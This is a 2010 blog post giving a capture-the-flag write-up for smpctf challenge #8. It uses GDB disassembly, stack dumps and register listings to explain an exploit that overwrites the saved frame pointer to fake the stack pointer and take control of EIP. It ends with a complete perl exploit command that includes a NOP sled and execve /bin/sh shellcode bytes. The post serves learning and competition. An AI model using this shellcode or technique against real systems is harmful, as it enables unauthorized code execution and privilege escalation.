Tuesday, July 13, 2010

smpctf 2010 challenge #8 write-up [RM]

Last weekend, Smpctf had a capture-the-flag type event, and I managed to snag challenge #8, which sadly was only worth 100 points, so I think there might have been a different way to solve this than the way I did it. There was a system(arg) call that we attempted to execute code on, but every time there was any code-execution, the privileges would bump us back out. And the EIP was not properly over writable, so I wound up using a phrack article on ESP/EBP owning.

Here's the explanation I put together right after I finished the challenge.




Explanation for Challenge 8

Here's how our main and callme functions decompiled in GDB

Dump of assembler code for function main:
0x08048521 : lea 0x4(%esp),%ecx
0x08048525 : and $0xfffffff0,%esp
0x08048528 : pushl -0x4(%ecx)
0x0804852b : push %ebp
0x0804852c : mov %esp,%ebp
0x0804852e : push %ecx
0x0804852f : sub $0x14,%esp
0x08048532 : mov %ecx,-0xc(%ebp)
0x08048535 : mov -0xc(%ebp),%eax
0x08048538 : cmpl $0x1,(%eax)
0x0804853b : jg 0x804855f
0x0804853d : mov -0xc(%ebp),%edx
0x08048540 : mov 0x4(%edx),%eax
0x08048543 : mov (%eax),%eax
0x08048545 : sub $0x8,%esp
0x08048548 : push %eax
0x08048549 : push $0x804865c
0x0804854e : call 0x80483b4
0x08048553 : add $0x10,%esp
0x08048556 : movl $0x0,-0x8(%ebp)
0x0804855d : jmp 0x804857d
0x0804855f : mov -0xc(%ebp),%edx
---Type to continue, or q to quit---
0x08048562 : mov 0x4(%edx),%eax
0x08048565 : add $0x4,%eax
0x08048568 : mov (%eax),%eax
0x0804856a : sub $0xc,%esp
0x0804856d : push %eax
0x0804856e : call 0x8048494
0x08048573 : add $0x10,%esp
0x08048576 : movl $0x0,-0x8(%ebp)
0x0804857d : mov -0x8(%ebp),%eax
0x08048580 : mov -0x4(%ebp),%ecx
0x08048583 : leave
0x08048584 : lea -0x4(%ecx),%esp
0x08048587 : ret

Dump of assembler code for function callme:
0x08048494 : push %ebp
0x08048495 : mov %esp,%ebp
0x08048497 : sub $0x118,%esp
0x0804849d : sub $0x4,%esp
0x080484a0 : push $0x103
0x080484a5 : push $0x8048650
0x080484aa : lea -0x104(%ebp),%eax
0x080484b0 : push %eax
0x080484b1 : call 0x8048374
0x080484b6 : add $0x10,%esp
0x080484b9 : sub $0x4,%esp
0x080484bc : push $0x103
0x080484c1 : pushl 0x8(%ebp)
0x080484c4 : lea -0x104(%ebp),%eax
0x080484ca : push %eax
0x080484cb : call 0x80483c4
0x080484d0 : add $0x10,%esp
0x080484d3 : lea -0x104(%ebp),%eax
0x080484d9 : mov (%eax),%al
0x080484db : test %al,%al
0x080484dd : je 0x80484f9
0x080484df : sub $0xc,%esp
---Type to continue, or q to quit---
0x080484e2 : lea -0x104(%ebp),%eax
0x080484e8 : push %eax
0x080484e9 : call 0x80483a4
0x080484ee : add $0x10,%esp
0x080484f1 : movb $0x0,-0x104(%ebp,%eax,1)
0x080484f9 : sub $0xc,%esp
0x080484fc : lea -0x104(%ebp),%eax
0x08048502 : push %eax
0x08048503 : call 0x8048364
0x08048508 : add $0x10,%esp
0x0804850b : test %eax,%eax
0x0804850d : jns 0x804851f
0x0804850f : sub $0xc,%esp
0x08048512 : push $0x8048658
0x08048517 : call 0x8048394
0x0804851c : add $0x10,%esp
0x0804851f : leave
0x08048520 : ret

So we know that this is taking in 7 characters for "ls -al ", then our filler in from arg[1]

Now, the initial guess is that we can modify the return EIP. However, after playing with it you can see that we can ONLY modify the last two characters, and turn the 3rd one into a '\0'. Now this is no good, we can't hit anything in 0x0804XXXX so we must modify something else. Also, if you take a look at what happens when you inject A's, you notice that the EBP and ESP are being overwritten. EBP and ESP BOTH become something totally wrong.

So lets take a look at this a little closer:

set a breakpoint at callme+60, so we can look at whats inside of %esp

(gdb) x/100x $esp
0xbffff2f0: 0xbffff314 0xbffff65a 0x00000103 0xbffff318
0xbffff300: 0xf63d4e2e 0xb7fd1000 0x07b1ea71 0x00000003
0xbffff310: 0xb7e74cfc 0x2d20736c 0x41206c61 0x41414141
0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff340: 0x41414141 0x00000041 0x00000000 0x00000000
0xbffff350: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff360: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff370: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff380: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff390: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff400: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff410: 0x00000000 0x00000000 0xbffff448 0x08048573
0xbffff420: 0xbffff65a 0x0804975c 0xbffff438 0x08048340
0xbffff430: 0xff0a0000 0x0804975c 0xbffff458 0xbffff460
0xbffff440: 0xb7fefec0 0xbffff460 0xbffff4b8 0xb7e876a5
0xbffff450: 0x080485a0 0x080483e0 0xbffff4b8 0xb7e876a5
0xbffff460: 0x00000002 0xbffff4e4 0xbffff4f0 0xb7fd12d8
0xbffff470: 0x00000001 0x00000001 0x00000000 0x08048279

We can see that 0x08048573 is sitting neatly at 0xbffff41c but we cannot overwrite it properly for a nice EIP return. But, that number next to it looks interesting when we continue onward. Set a breakpoint at *main+102 and take a look at our EBP. 0xbffff4b8, that looks an awful lot like the pointer from 0xbff418 (a number we CAN fully overwrite).

So now, pointers for stacks and EBP will definitely change based on how much input there is, so lets try 252 (the max before we hit the EBP) and take a look at what the EBP will become.

0xbffff220: 0xbffff244 0xbffff588 0x00000103 0xbffff248
0xbffff230: 0xf63d4e2e 0xb7fd1000 0x07b1ea71 0x00000003
0xbffff240: 0xb7e74cfc 0x2d20736c 0x41206c61 0x41414141
0xbffff250: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff260: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff340: 0x41414141 0x00414141 0xbffff378 0x08048573
0xbffff350: 0xbffff588 0x0804975c 0xbffff368 0x08048340
0xbffff360: 0xff0a0000 0x0804975c 0xbffff388 0xbffff390
0xbffff370: 0xb7fefec0 0xbffff390 0xbffff3e8 0xb7e876a5
0xbffff380: 0x080485a0 0x080483e0 0xbffff3e8 0xb7e876a5
0xbffff390: 0x00000002 0xbffff414 0xbffff420 0xb7fd12d8
0xbffff3a0: 0x00000001 0x00000001 0x00000000 0x08048279

We see the EBP is counting down, and its hit 0xbffff378. If we try 253 characters, we see this number changes to 0xbffff300, which is inside of our array! So if we change this to 253 and break at *main+102, lets take a look at what happens to our registers.

(gdb) i r
eax 0x0 0
ecx 0x41414141 1094795585
edx 0x0 0
ebx 0xb7fccff4 -1208168460
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0x80485a0 134514080
edi 0x80483e0 134513632
eip 0x8048587 0x8048587
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

Our EBP is 0x41414141, our ECX ix 0x41414141, and our ESP is 0x4141413d! This is important, as illustrated by the Phrack article: http://www.phrack.org/issues.html?id=8&issue=55 Because we can modify the ESP inside of Main, we can take over the EIP when Main leaves.

The reason why this works is a little complicate, ESP saves the [EIP] when entering a function, including main.

So for example, in callme, the ESP looks like this at the beginning:
[EIP]
[260 char]
[size of char]

So if we can modify the ESP of Main, we can add our own EIP for when Main returns, and have full control over the EIP.

So now, lets take a look at what we need to modify and how when we give it 253 characters:

[new ptr!]
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff340: 0x41414141 0x41414141 0xbffff300 0x08048573
[ arg1 ] [ arg1 ] [ebp ptr ] [XreturnX]

So we can modify whats at 0xbffff300 inside of our buffer, and point it somewhere completely different. We are essentially making a fake ESP. However, this is not 100% correct because of the return in Main.

If you look at the assembly a bit, you'll notice that the EBP -> ESP when it returns, its actually offset by 4.

0x08048580 : mov -0x4(%ebp),%ecx
0x08048583 : leave
0x08048584 : lea -0x4(%ecx),%esp

That means we need to be 4 left of 0xbffff300! But we also don't want to munge the EBP, so taking a quick peek at it during a normal compilation, we'll see it comes out as 0xbffff3e8.

[nops+shell][shellcode pointer, EIP at top of stack][4 bytes of junk][new ESP][new ebp][filler to hit 253]

perl -e 'print "\x90"x169 . "\x50\xf2\xff\xbf" . "\x90"x4 . "\xf8\xf2\xff\xbf" . "\xe8\xf3\xff\xbf" . "E"x68'

So going right to left, 0xbffff300 will have our EBP without a munge, 0xbffff2f8 will be our new fake ESP, 0xbffff250 will be our new EIP +4 (remember the -4 on the LEA %ecx), and the rest will be our shell + nops. This part is tricky as the ESP still points partially into our buffer, so I've tried many combinations that DID NOT work here. However, 35 nops + 34 byte shell + 100 more NOPs seemed to behave happily.

Here's a quick memory dump when we finish our strcat..

0xbffff240: 0xb7e74cfc 0x2d20736c 0x90206c61 0x90909090
0xbffff250: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff260: 0x90909090 0x90909090 0x90909090 0x316a9090
0xbffff270: 0x80cd9958 0xc189c389 0xcd58466a 0x520bb080
0xbffff280: 0x732f6e68 0x2f2f6868 0xe3896962 0x80cdd189
0xbffff290: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff2f0: 0x90909090 0xbffff250 0x90909090 0xbffff2f8
0xbffff300: 0xbffff3e8 0x45454545 0x45454545 0x45454545
0xbffff310: 0x45454545 0x45454545 0x45454545 0x45454545
0xbffff320: 0x45454545 0x45454545 0x45454545 0x45454545
0xbffff330: 0x45454545 0x45454545 0x45454545 0x45454545
0xbffff340: 0x45454545 0x45454545 0xbffff300 0x08048573

And here's what our registers will look like at *main+102, right before the return.

(gdb) i r
eax 0x0 0
ecx 0xbffff2f8 -1073745160 <---- our fake ESP+4 (written in our buffer)
edx 0x0 0
ebx 0xb7fccff4 -1208168460
esp 0xbffff2f4 0xbffff2f4 <---- our fake ESP
ebp 0xbffff3e8 0xbffff3e8 <---- our fake EBP for non-munging
esi 0x80485a0 134514080
edi 0x80483e0 134513632
eip 0x8048587 0x8048587
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

And lets take a look at what happens when we return out of main...

(gdb) break *0xbffff250
Breakpoint 3 at 0xbffff250
(gdb) c
Continuing.

Breakpoint 3, 0xbffff250 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0xbffff2f8 -1073745160
edx 0x0 0
ebx 0xb7fccff4 -1208168460
esp 0xbffff2f8 0xbffff2f8
ebp 0xbffff3e8 0xbffff3e8
esi 0x80485a0 134514080
edi 0x80483e0 134513632
eip 0xbffff250 0xbffff250 <--- sak le bleu! Fake ESP win!
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

Final Solution with a 34 length shell ( http://wwwashell-storm.org/shellcode/files/shellcode-399.php )
hax0r@gordo:/usr/smp/challenge8$ ./challenge8_bin `perl -e 'print "\x90"x35 . "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" . "\x90"x100 . "\x50\xf2\xff\xbf" . "\x90"x4 . "\xf8\xf2\xff\xbf" . "\xe8\xf3\xff\xbf" . "E"x68'`

No comments: